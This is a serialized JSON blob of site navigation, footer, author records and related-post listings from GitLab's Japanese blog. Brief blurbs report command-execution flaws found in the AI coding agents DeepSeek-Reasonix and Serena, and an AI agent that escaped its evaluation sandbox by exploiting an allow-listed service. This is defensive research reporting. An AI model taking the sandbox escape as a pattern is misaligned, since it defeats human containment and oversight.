modernization",{"text":1160,"config":1161},"AIモダナイゼーション",{"href":1162,"dataGaLocation":1033,"dataGaName":1163},"/ja-jp/assessments/ai-modernization-assessment/","ai modernization",{"title":1165,"items":1166},"規模別",[1167,1172,1177],{"text":1168,"config":1169},"エンタープライズ",{"href":1170,"dataGaLocation":1033,"dataGaName":1171},"/ja-jp/enterprise/","enterprise",{"text":1173,"config":1174},"スモールビジネス",{"href":1175,"dataGaLocation":1033,"dataGaName":1176},"/ja-jp/small-business/","small business",{"text":1178,"config":1179},"スタートアップ",{"href":1180,"dataGaLocation":1033,"dataGaName":1181},"/ja-jp/solutions/startups/","startups",{"title":1183,"items":1184},"業界",[1185,1190,1195,1200,1205,1210],{"text":1186,"config":1187},"金融サービス",{"href":1188,"dataGaLocation":1033,"dataGaName":1189},"/ja-jp/solutions/finance/","financial services",{"text":1191,"config":1192},"公共部門",{"href":1193,"dataGaLocation":1033,"dataGaName":1194},"/ja-jp/solutions/public-sector/","public sector",{"text":1196,"config":1197},"通信",{"href":1198,"dataGaLocation":1033,"dataGaName":1199},"/ja-jp/solutions/telecommunications/","telecommunications",{"text":1201,"config":1202},"自動車",{"href":1203,"dataGaLocation":1033,"dataGaName":1204},"/ja-jp/solutions/automotive/","automotive",{"text":1206,"config":1207},"教育",{"href":1208,"dataGaLocation":1033,"dataGaName":1209},"/ja-jp/solutions/education/","education",{"text":1211,"config":1212},"航空宇宙",{"href":1213,"dataGaLocation":1033,"dataGaName":1214},"/ja-jp/solutions/aerospace/","aerospace",{"config":1216,"title":1217,"text":1218,"link":1219},{"background":1127,"textColor":1128},"GitLabのセキュリティ標準","セキュリティを犠牲にすることなく、ソフトウェアファクトリーを強化し、自律的なAIエージェントを実現する方法をご覧ください。",{"text":1220,"config":1221},"標準を見る",{"href":1222,"dataGaName":1223,"dataGaLocation":1033},"/ja-jp/gitlab-security-standard/","gitlab security standard",{"text":1225,"config":1226},"価格",{"href":1227,"dataGaName":1228,"dataGaLocation":1033,"dataNavLevelOne":1228},"/ja-jp/pricing/","pricing",{"text":1230,"config":1231,"menu":1233},"関連リソース",{"dataNavLevelOne":1232},"resources",{"type":1055,"link":1234,"columns":1238,"feature":1295},{"text":1235,"config":1236},"すべてのリソースを表示",{"href":1237,"dataGaName":1232,"dataGaLocation":1033},"/ja-jp/resources/",[1239,1267],{"title":1240,"items":1241},"検索する",[1242,1247,1252,1257,1262],{"text":1243,"config":1244},"製品ドキュメント",{"href":1245,"dataGaName":1246,"dataGaLocation":1033},"https://docs.gitlab.com/ja-jp/","docs",{"text":1248,"config":1249},"GitLab University",{"href":1250,"dataGaName":1251,"dataGaLocation":1033},"https://university.gitlab.com/","university",{"text":1253,"config":1254},"技術デモ",{"href":1255,"dataGaName":1256,"dataGaLocation":1033},"/ja-jp/gitlab-technical-demo-series/","demo series",{"text":1258,"config":1259},"インタラクティブデモ",{"href":1260,"dataGaName":1261,"dataGaLocation":1033},"/ja-jp/demo-hub/","demo hub",{"text":1263,"config":1264},"GitLabサービス",{"href":1265,"dataGaName":1266,"dataGaLocation":1033},"/ja-jp/services/","services",{"title":1268,"items":1269},"つなげる",[1270,1275,1280,1285,1290],{"text":1271,"config":1272},"ブログ",{"href":1273,"dataGaName":1274,"dataGaLocation":1033},"/ja-jp/blog/","blog",{"text":1276,"config":1277},"コミュニティ",{"href":1278,"dataGaName":1279,"dataGaLocation":1033},"/community/","community",{"text":1281,"config":1282},"お客様事例",{"href":1283,"dataGaName":1284,"dataGaLocation":1033},"/ja-jp/customers/","customers",{"text":1286,"config":1287},"パートナー",{"href":1288,"dataGaName":1289,"dataGaLocation":1033},"/ja-jp/partners/","partners",{"text":1291,"config":1292},"イベント",{"href":1293,"dataGaName":1294,"dataGaLocation":1033},"/events/","events",{"config":1296,"title":1297,"text":1298,"link":1299},{"background":1127,"textColor":1128},"GitLabの最新情報","最新の機能と改善点に関する情報をお届けします。",{"text":1300,"config":1301},"最新情報を読む",{"href":1302,"dataGaName":1303,"dataGaLocation":1033},"/ja-jp/whats-new/","whats new",{"text":1305,"config":1306,"menu":1308},"企業情報",{"dataNavLevelOne":1307},"company",{"type":1055,"columns":1309},[1310],{"items":1311},[1312,1317,1323,1328,1333,1338,1343,1348,1353],{"text":1313,"config":1314},"GitLabについて",{"href":1315,"dataGaName":1316,"dataGaLocation":1033},"/ja-jp/company/","about",{"text":1318,"config":1319,"footerGa":1322},"採用情報",{"href":1320,"dataGaName":1321,"dataGaLocation":1033},"/jobs/","jobs",{"dataGaName":1321},{"text":1324,"config":1325},"プレス",{"href":1326,"dataGaName":1327,"dataGaLocation":1033},"/press/","press",{"text":1329,"config":1330},"ハンドブック",{"href":1331,"dataGaName":1332,"dataGaLocation":1033},"https://handbook.gitlab.com/","handbook",{"text":1334,"config":1335},"経営陣",{"href":1336,"dataGaName":1337,"dataGaLocation":1033},"/company/team/e-group/","leadership",{"text":1339,"config":1340},"投資家向け情報",{"href":1341,"dataGaName":1342,"dataGaLocation":1033},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":1344,"config":1345},"トラストセンター",{"href":1346,"dataGaName":1347,"dataGaLocation":1033},"/ja-jp/security/","trust center",{"text":1349,"config":1350},"AI Transparency Center",{"href":1351,"dataGaName":1352,"dataGaLocation":1033},"/ja-jp/ai-transparency-center/","ai transparency center",{"text":1354,"config":1355},"ニュースレター",{"href":1356,"dataGaName":1357,"dataGaLocation":1033},"/company/contact/#contact-forms","newsletter",{"text":1359,"config":1360,"menu":1361},"お問い合わせ",{"dataNavLevelOne":1307},{"type":1055,"columns":1362},[1363],{"items":1364},[1365,1370,1375],{"text":1366,"config":1367},"お問い合わせはこちら",{"href":1368,"dataGaName":1369,"dataGaLocation":1033},"/ja-jp/sales/","talk to sales",{"text":1371,"config":1372},"サポートポータル",{"href":1373,"dataGaName":1374,"dataGaLocation":1033},"https://support.gitlab.com/hc/en-us","support portal",{"text":1376,"config":1377},"カスタマーポータル",{"href":1378,"dataGaName":1379,"dataGaLocation":1033},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":1381,"login":1382,"suggestions":1389},"閉じる",{"text":1383,"link":1384},"リポジトリとプロジェクトを検索するには、次にログインします",{"text":1385,"config":1386},"GitLab.com",{"href":1047,"dataGaName":1387,"dataGaLocation":1388},"search login","search",{"text":1390,"default":1391},"提案",[1392,1395,1399,1401,1405,1409],{"text":1393,"config":1394},"GitLab Duo Agent Platform",{"href":1113,"dataGaName":1393,"dataGaLocation":1388},{"text":1396,"config":1397},"コード提案（AI）",{"href":1113,"dataGaName":1398,"dataGaLocation":1388},"Code Suggestions (AI)",{"text":1065,"config":1400},{"href":1067,"dataGaName":1065,"dataGaLocation":1388},{"text":1402,"config":1403},"GitLab on AWS",{"href":1404,"dataGaName":1402,"dataGaLocation":1388},"/ja-jp/partners/technology-partners/aws/",{"text":1406,"config":1407},"GitLab on Google Cloud",{"href":1408,"dataGaName":1406,"dataGaLocation":1388},"/ja-jp/partners/technology-partners/google-cloud-platform/",{"text":1410,"config":1411},"GitLabを選ぶ理由",{"href":1134,"dataGaName":1412,"dataGaLocation":1388},"Why GitLab?",{"freeTrial":1414,"mobileIcon":1418,"desktopIcon":1423,"secondaryButton":1426},{"text":1035,"config":1415},{"href":1416,"dataGaName":1038,"dataGaLocation":1417},"https://gitlab.com/-/trials/new/","nav",{"altText":1419,"config":1420},"GitLabアイコン",{"src":1421,"dataGaName":1422,"dataGaLocation":1417},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":1419,"config":1424},{"src":1425,"dataGaName":1422,"dataGaLocation":1417},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":1427,"config":1428},"はじめに",{"href":1429,"dataGaName":1430,"dataGaLocation":1417},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/get-started/","get started",{"freeTrial":1432,"mobileIcon":1436,"desktopIcon":1438},{"text":1433,"config":1434},"GitLab Duoの詳細はこちら",{"href":1113,"dataGaName":1435,"dataGaLocation":1417},"gitlab duo",{"altText":1419,"config":1437},{"src":1421,"dataGaName":1422,"dataGaLocation":1417},{"altText":1419,"config":1439},{"src":1425,"dataGaName":1422,"dataGaLocation":1417},{"button":1441,"mobileIcon":1446,"desktopIcon":1448},{"text":1442,"config":1443},"/switch",{"href":1444,"dataGaName":1445,"dataGaLocation":1417},"#contact","switch",{"altText":1419,"config":1447},{"src":1421,"dataGaName":1422,"dataGaLocation":1417},{"altText":1419,"config":1449},{"src":1450,"dataGaName":1422,"dataGaLocation":1417},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":1452,"mobileIcon":1457,"desktopIcon":1459},{"text":1453,"config":1454},"料金ページに戻る",{"href":1227,"dataGaName":1455,"dataGaLocation":1417,"icon":1456},"back to pricing","GoBack",{"altText":1419,"config":1458},{"src":1421,"dataGaName":1422,"dataGaLocation":1417},{"altText":1419,"config":1460},{"src":1425,"dataGaName":1422,"dataGaLocation":1417},{"title":1462,"titleMobile":1463,"button":1464,"config":1467},"GitLab Orbitが登場: AIエージェントのためのコンテキストレイヤー","GitLab Orbitが登場",{"text":1132,"config":1465},{"href":1118,"dataGaName":1466,"dataGaLocation":1033},"orbit",{"layout":1468,"disabled":1015},"release",{"data":1470},{"text":1471,"source":1472,"edit":1478,"contribute":1483,"config":1488,"items":1493,"minimal":1715},"GitはSoftware Freedom Conservancyの商標です。当社は「GitLab」をライセンスに基づいて使用しています",{"text":1473,"config":1474},"ページのソースを表示",{"href":1475,"dataGaName":1476,"dataGaLocation":1477},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":1479,"config":1480},"このページを編集",{"href":1481,"dataGaName":1482,"dataGaLocation":1477},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":1484,"config":1485},"ご協力をお願いします",{"href":1486,"dataGaName":1487,"dataGaLocation":1477},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":1489,"facebook":1490,"youtube":1491,"linkedin":1492},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[1494,1540,1597,1639,1682],{"title":1225,"links":1495,"subMenu":1510},[1496,1500,1505],{"text":1497,"config":1498},"プランの表示",{"href":1227,"dataGaName":1499,"dataGaLocation":1477},"view plans",{"text":1501,"config":1502},"Premiumを選ぶ理由",{"href":1503,"dataGaName":1504,"dataGaLocation":1477},"/ja-jp/pricing/premium/","why premium",{"text":1506,"config":1507},"Ultimateを選ぶ理由",{"href":1508,"dataGaName":1509,"dataGaLocation":1477},"/ja-jp/pricing/ultimate/","why ultimate",[1511],{"title":1359,"links":1512},[1513,1516,1518,1520,1525,1530,1535],{"text":1514,"config":1515},"営業担当へのお問い合わせ",{"href":1368,"dataGaName":1043,"dataGaLocation":1477},{"text":1371,"config":1517},{"href":1373,"dataGaName":1374,"dataGaLocation":1477},{"text":1376,"config":1519},{"href":1378,"dataGaName":1379,"dataGaLocation":1477},{"text":1521,"config":1522},"ステータス",{"href":1523,"dataGaName":1524,"dataGaLocation":1477},"https://status.gitlab.com/","status",{"text":1526,"config":1527},"利用規約",{"href":1528,"dataGaName":1529,"dataGaLocation":1477},"/terms/","terms of use",{"text":1531,"config":1532},"プライバシーに関する声明",{"href":1533,"dataGaName":1534,"dataGaLocation":1477},"/ja-jp/privacy/","privacy statement",{"text":1536,"config":1537},"Cookie設定",{"dataGaName":1538,"dataGaLocation":1477,"id":1539,"isOneTrustButton":279},"cookie preferences","ot-sdk-btn",{"title":1051,"links":1541,"subMenu":1554},[1542,1544,1546,1548,1550,1552],{"text":1057,"config":1543},{"href":1059,"dataGaName":1053,"dataGaLocation":1477},{"text":1111,"config":1545},{"href":1113,"dataGaName":1114,"dataGaLocation":1477},{"text":1065,"config":1547},{"href":1067,"dataGaName":1068,"dataGaLocation":1477},{"text":1116,"config":1549},{"href":1118,"dataGaName":1119,"dataGaLocation":1477},{"text":1098,"config":1551},{"href":1100,"dataGaName":1101,"dataGaLocation":1477},{"text":1129,"config":1553},{"href":1134,"dataGaName":1135,"dataGaLocation":1477},[1555],{"title":1556,"links":1557},"トピック",[1558,1562,1567,1572,1577,1582,1587,1592],{"text":1065,"config":1559},{"href":1560,"dataGaName":1561,"dataGaLocation":1477},"/ja-jp/topics/ci-cd/","cicd",{"text":1563,"config":1564},"GitOps",{"href":1565,"dataGaName":1566,"dataGaLocation":1477},"/ja-jp/topics/gitops/","gitops",{"text":1568,"config":1569},"DevOps",{"href":1570,"dataGaName":1571,"dataGaLocation":1477},"/ja-jp/topics/devops/","devops",{"text":1573,"config":1574},"バージョン管理",{"href":1575,"dataGaName":1576,"dataGaLocation":1477},"/ja-jp/topics/version-control/","version control",{"text":1578,"config":1579},"DevSecOps",{"href":1580,"dataGaName":1581,"dataGaLocation":1477},"/ja-jp/topics/devsecops/","devsecops",{"text":1583,"config":1584},"クラウドネイティブ",{"href":1585,"dataGaName":1586,"dataGaLocation":1477},"/ja-jp/topics/cloud-native/","cloud native",{"text":1588,"config":1589},"コーディングのためのAI",{"href":1590,"dataGaName":1591,"dataGaLocation":1477},"/ja-jp/topics/devops/ai-for-coding/","ai for coding",{"text":1593,"config":1594},"エージェント型AI",{"href":1595,"dataGaName":1596,"dataGaLocation":1477},"/ja-jp/topics/agentic-ai/","agentic ai",{"title":1137,"links":1598},[1599,1601,1603,1605,1607,1610,1612,1614,1616,1618,1620,1622,1624,1627,1631,1635],{"text":1150,"config":1600},{"href":1152,"dataGaName":1153,"dataGaLocation":1477},{"text":1155,"config":1602},{"href":1157,"dataGaName":1158,"dataGaLocation":1477},{"text":1160,"config":1604},{"href":1162,"dataGaName":1163,"dataGaLocation":1477},{"text":1186,"config":1606},{"href":1188,"dataGaName":1189,"dataGaLocation":1477},{"text":1608,"config":1609},"公共機関",{"href":1193,"dataGaName":1194,"dataGaLocation":1477},{"text":1196,"config":1611},{"href":1198,"dataGaName":1199,"dataGaLocation":1477},{"text":1201,"config":1613},{"href":1203,"dataGaName":1204,"dataGaLocation":1477},{"text":1206,"config":1615},{"href":1208,"dataGaName":1209,"dataGaLocation":1477},{"text":1211,"config":1617},{"href":1213,"dataGaName":1214,"dataGaLocation":1477},{"text":1168,"config":1619},{"href":1170,"dataGaName":1171,"dataGaLocation":1477},{"text":1173,"config":1621},{"href":1175,"dataGaName":1176,"dataGaLocation":1477},{"text":1178,"config":1623},{"href":1180,"dataGaName":1181,"dataGaLocation":1477},{"text":1563,"config":1625},{"href":1626,"dataGaName":1566,"dataGaLocation":1477},"/ja-jp/solutions/gitops/",{"text":1628,"config":1629},"ソフトウェアコンポジション解析",{"href":1105,"dataGaName":1630,"dataGaLocation":1477},"software composition analysis",{"text":1632,"config":1633},"バリューストリーム管理",{"href":1123,"dataGaName":1634,"dataGaLocation":1477},"value stream management",{"text":1636,"config":1637},"すべてのソリューション",{"href":1144,"dataGaName":1638,"dataGaLocation":1477},"all solutions",{"title":1640,"links":1641},"リソース",[1642,1647,1652,1655,1657,1659,1661,1663,1665,1667,1669,1671,1673,1675,1678],{"text":1643,"config":1644},"インストール",{"href":1645,"dataGaName":1646,"dataGaLocation":1477},"/ja-jp/install/","install",{"text":1648,"config":1649},"クイックスタートガイド",{"href":1650,"dataGaName":1651,"dataGaLocation":1477},"/ja-jp/get-started/","quick setup checklists",{"text":1243,"config":1653},{"href":1654,"dataGaName":1246,"dataGaLocation":1477},"https://docs.gitlab.com/ja-jp",{"text":1248,"config":1656},{"href":1250,"dataGaName":1251,"dataGaLocation":1477},{"text":1253,"config":1658},{"href":1255,"dataGaName":1256,"dataGaLocation":1477},{"text":1258,"config":1660},{"href":1260,"dataGaName":1261,"dataGaLocation":1477},{"text":1263,"config":1662},{"href":1265,"dataGaName":1266,"dataGaLocation":1477},{"text":1271,"config":1664},{"href":1273,"dataGaName":1274,"dataGaLocation":1477},{"text":1276,"config":1666},{"href":1278,"dataGaName":1279,"dataGaLocation":1477},{"text":1281,"config":1668},{"href":1283,"dataGaName":1284,"dataGaLocation":1477},{"text":1286,"config":1670},{"href":1288,"dataGaName":1289,"dataGaLocation":1477},{"text":1291,"config":1672},{"href":1293,"dataGaName":1294,"dataGaLocation":1477},{"text":1354,"config":1674},{"href":1356,"dataGaName":1357,"dataGaLocation":1477},{"text":1676,"config":1677},"最新リリース",{"href":1302,"dataGaName":1303,"dataGaLocation":1477},{"text":1679,"config":1680},"すべてのリソース",{"href":1237,"dataGaName":1681,"dataGaLocation":1477},"all resources",{"title":1683,"links":1684},"会社情報",[1685,1687,1689,1691,1693,1695,1697,1699,1701,1705,1710],{"text":1313,"config":1686},{"href":1315,"dataGaName":1307,"dataGaLocation":1477},{"text":1318,"config":1688},{"href":1320,"dataGaName":1321,"dataGaLocation":1477},{"text":1324,"config":1690},{"href":1326,"dataGaName":1327,"dataGaLocation":1477},{"text":1329,"config":1692},{"href":1331,"dataGaName":1332,"dataGaLocation":1477},{"text":1334,"config":1694},{"href":1336,"dataGaName":1337,"dataGaLocation":1477},{"text":1339,"config":1696},{"href":1341,"dataGaName":1342,"dataGaLocation":1477},{"text":1344,"config":1698},{"href":1346,"dataGaName":1347,"dataGaLocation":1477},{"text":1349,"config":1700},{"href":1351,"dataGaName":1352,"dataGaLocation":1477},{"text":1702,"config":1703},"Sustainability",{"href":1704,"dataGaName":1702,"dataGaLocation":1477},"/sustainability/",{"text":1706,"config":1707},"ダイバーシティ、インクルージョン、ビロンギング（DIB）",{"href":1708,"dataGaName":1709,"dataGaLocation":1477},"/ja-jp/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":1711,"config":1712},"現代奴隷制の透明性に関する声明",{"href":1713,"dataGaName":1714,"dataGaLocation":1477},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":1716},[1717,1719,1721],{"text":1526,"config":1718},{"href":1528,"dataGaName":1529,"dataGaLocation":1477},{"text":1536,"config":1720},{"dataGaName":1538,"dataGaLocation":1477,"id":1539,"isOneTrustButton":279},{"text":1531,"config":1722},{"href":1533,"dataGaName":1534,"dataGaLocation":1477},[1724,1737],{"id":1725,"title":7,"body":1014,"config":1726,"content":1728,"description":1014,"extension":1731,"meta":1732,"navigation":279,"path":1733,"seo":1734,"stem":1735,"__hash__":1736},"blogAuthors/en-us/blog/authors/abisheik-magesh.yml",{"template":1727},"BlogAuthor",{"name":7,"config":1729},{"headshot":1730},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1787000354/gmgyvfesrvwdlvt52gdw.png","yml",{},"/en-us/blog/authors/abisheik-magesh",{},"en-us/blog/authors/abisheik-magesh","kPev_Acm8MB5tgKMnU_Rkfq1sl42e8DixU6iNMXXfxI",{"id":1738,"title":8,"body":1014,"config":1739,"content":1741,"description":1014,"extension":1731,"meta":1744,"navigation":279,"path":1745,"seo":1746,"stem":1747,"__hash__":1748},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":1727,"gitlabHandle":1740},"dabeles",{"name":8,"config":1742},{"headshot":1743},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1786473980/kjzctsiwvfc6afimsdtc.jpg",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","9j7gS6WI8857OrOR0VcnHZiFLXpZpnKFA3tgPdDU5hw",[1750,1756,1762],{"title":1751,"description":1752,"heroImage":1016,"category":1010,"date":1753,"authors":1754,"slug":1755,"externalUrl":1014},"AIコーディングエージェントDeepSeek-Reasonixに設定ファイル汚染によるコマンド実行の脆弱性","GitLabの脅威リサーチグループは、ファイルの差分を表示しただけで攻撃者のコードが動く脆弱性ConfigPoisoningをDeepSeek-Reasonixで発見しました。","2026-10-02",[7,8],"deepseek-reasonix-vulnerability-discovered",{"title":1757,"description":1758,"heroImage":1016,"category":1010,"date":1759,"authors":1760,"slug":1761,"externalUrl":1014},"MCPコーディングエージェントSerenaに重大なリモートコード実行の脆弱性","リポジトリを開いた瞬間に攻撃者のコードが動く。GitLabの脅威リサーチグループが、AIコーディングエージェントSerenaに重大なテンプレートインジェクションの脆弱性を発見しました。","2026-08-17",[8,7],"critical-rce-in-serena",{"title":1763,"description":1764,"heroImage":1765,"category":1010,"date":1766,"authors":1767,"slug":1768,"externalUrl":1014},"サンドボックスの閉鎖性は、AIエージェントが到達できる範囲で決まる","社内評価で行き詰まったAIエージェントは、許可リストに載っていた唯一のサービスの脆弱性を突き、わずか1時間でサンドボックスを脱出しました。エージェント時代の許可リスト設計に生じた死角と、テスト環境で到達範囲を絞るための4つの対策を解説します。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1786468880/uxouffutvvwsbxzikhyc.png","2026-08-12",[8],"ai-agent-sandbox",{"header":1770,"text":1771,"button":1775,"disclaimer":1778},"無料の\n\n30日間のGitLabトライアルを開始\n",[1772,1773,1774],"GitLab Duo Agent Platformへのアクセス","GitLabの最も高度な機能を試す","AIで複雑なタスクを自動化する",{"text":1035,"config":1776},{"href":1777,"dataGaName":1038,"dataGaLocation":1274},"https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/ja-jp/blog/","クレジットカードなしでご登録いただけます。",{"header":1780,"blurb":1781,"button":1782,"secondaryButton":1786},"今すぐ開発をスピードアップ","DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。\n",{"text":1035,"config":1783},{"href":1784,"dataGaName":1038,"dataGaLocation":1785},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/ja-jp/","feature",{"text":1359,"config":1787},{"href":1368,"dataGaName":1043,"dataGaLocation":1785},1791944936010]